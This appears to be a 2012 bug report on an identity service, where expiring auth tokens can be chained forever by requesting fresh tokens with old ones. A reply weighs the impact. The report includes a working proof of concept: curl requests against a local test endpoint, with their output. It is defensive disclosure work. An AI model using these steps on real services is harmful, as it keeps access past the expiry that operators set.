When a token is distributed that is intended to expire, this expiry time
can be worked around by continuesly creating new tokens before the old one has
expired.
Effectively granting the holder of the token open ended access to a service.
For example (with expiration = 60 seconds)
# Create a token with username/password
> date -u ; ./tools/with_venv.sh python ./keystoneclient/shell.py token-get
Fri May 11 17:43:00 UTC 2012
+-----------+----------------------------------+
| Property | Value |
+-----------+----------------------------------+
| expires | 2012-05-11T17:44:00Z |
| id | 6345d6fd276f4eba81927c42dad073ef |
| tenant_id | b0b68a8de4d141d7afbde2683ae1a075 |
| user_id | e20d930d58c44b1e89ea93593fc43413 |
+-----------+----------------------------------+
# Before this token expires create another
> date -u ; curl -X POST http://127.0.0.1:5000/v2.0/tokens -d '{"auth": {"tenantName":"test", "token":{"id":"6345d6fd276f4eba81927c42dad073ef"}}}' -H 'Content-Type: application/json'
Fri May 11 17:43:50 UTC 2012
{"access": {"token": {"expires": "2012-05-11T17:44:50Z", "id": "d154f83ccfc64c95b49ada79370bffb5", "tenant": {"enabled": true, "id": "b0b68a8de4d141d7afbde2683ae1a075", "name": "test", "description": null}}, "serviceCatalog": {}, "user": {"username": "test", "roles_links": [], "id": "e20d930d58c44b1e89ea93593fc43413", "roles": [{"id": "81b6624332054062bd2a379539ff70a6", "name": "user"}], "name": "test"}}} >
# Continue this process as much as you want
> date -u ; curl -X POST http://127.0.0.1:5000/v2.0/tokens -d '{"auth": {"tenantName":"test", "token":{"id":"d154f83ccfc64c95b49ada79370bffb5"}}}' -H 'Content-Type: application/json'
Fri May 11 17:44:41 UTC 2012
{"access": {"token": {"expires": "2012-05-11T17:45:41Z", "id": "47e3578b53914185bce05013905c1142", "tenant": {"enabled": true, "id": "b0b68a8de4d141d7afbde2683ae1a075", "name": "test", "description": null}}, "serviceCatalog": {}, "user": {"username": "test", "roles_links": [], "id": "e20d930d58c44b1e89ea93593fc43413", "roles": [{"id": "81b6624332054062bd2a379539ff70a6", "name": "user"}], "name": "test"}}} >
# The original token has now expired
> date -u ; curl -X POST http://127.0.0.1:5000/v2.0/tokens -d '{"auth": {"tenantName":"test", "token":{"id":"6345d6fd276f4eba81927c42dad073ef"}}}' -H 'Content-Type: application/json'
Fri May 11 17:44:50 UTC 2012
{"error": {"message": "The request you have made requires authentication.", "code": 401, "title": "Not Authorized"}} >
# but I still have access to the system
> date -u ; curl -X POST http://127.0.0.1:5000/v2.0/tokens -d '{"auth": {"tenantName":"test", "token":{"id":"47e3578b53914185bce05013905c1142"}}}' -H 'Content-Type: application/json'
Fri May 11 17:45:01 UTC 2012
{"access": {"token": {"expires": "2012-05-11T17:46:01Z", "id": "78b004b4a27c4b7d9a1abd26b4260b2a", "tenant": {"enabled": true, "id": "b0b68a8de4d141d7afbde2683ae1a075", "name": "test", "description": null}}, "serviceCatalog": {}, "user": {"username": "test", "roles_links": [], "id": "e20d930d58c44b1e89ea93593fc43413", "roles": [{"id": "81b6624332054062bd2a379539ff70a6", "name": "user"}], "name": "test"}}} >
To prevent this either
1) the code could be removed that allows tokens to be created from other tokens
or
2) a small change to carry over the expiration time between tokens could be added (retaining some compatibility with clients that use this functionality)
I agree that this is a problem. Tokens timeout to limit the scope of abuse through compromise/loss. Allowing tokens to be extended or chained in this way does water down the protection somewhat but I don't think it's a big problem.
I could be wrong but I'd expect that the initial attack vector for this is to obtain a token and extend it before it expires. At that point an attacker could do any number of things to attack or modify this users settings via the API, perhaps having the same effect.
I'd like to understand where the requirement for chaining tokens like this came from before we take steps to limit/remove it as I expect doing so could break some applications that may rely on it currently.